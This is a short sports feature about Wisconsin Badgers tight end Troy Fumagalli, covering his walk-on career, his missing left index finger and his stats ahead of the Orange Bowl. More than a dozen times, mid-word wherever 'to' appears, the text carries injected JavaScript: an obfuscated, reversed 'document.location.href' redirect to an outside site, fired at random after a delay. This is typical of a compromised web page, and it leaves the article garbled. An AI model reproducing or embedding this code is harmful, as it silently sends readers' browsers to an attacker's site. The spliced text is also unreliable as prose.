Tight End Troy Fumagalli of the Wisconsin Badgers is exceptional in more ways than one.

After walking ontobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to the team in 2013 and red-shirting, Fumagalli was able tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to rise tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to the tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}top of the pack as a Badger tight end. The six foot – eight inch senior became a team captain in 2017. Known for his abilities as a blocker and for having sure hands as a receiver, Fumagalli led the team in catches this season. And he’s received national attention as a finalist for the John Mackey Award – presented tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to the nation’s best tight end.

“Fumagalli may have some of the best hands in college football. But there’s something very unusual about one of those hands.”

“So when I was born, I had what’s called amniotic band syndrome, so my band got caught on my hand and I lost circulation, so I had my left index finger removed.”

Fumagalli may only have nine fingers, but he doesn’t see it as a disability or a disadvantage.

“Hasn’t bothered me at all. This has been something I’ve been able tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to adapt tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to and it’s part of me.”

Even though Fumagalli doesn’t see his missing finger as a disability, he has a message for kids who deal with challenges and want tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to succeed.

“Just don’t take no for an answer. You think you can do something, go out and do it.” 

Fumagalli has contributed tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to the Badgers consistently while playing Wisconsin. He’s had 127 career catches, 1596 career receiving yards, and seven tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}touchdowns. He hopes tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to pad those stats in the Orange Bowl. For the Badger Report, I’m Madeline Westberg.

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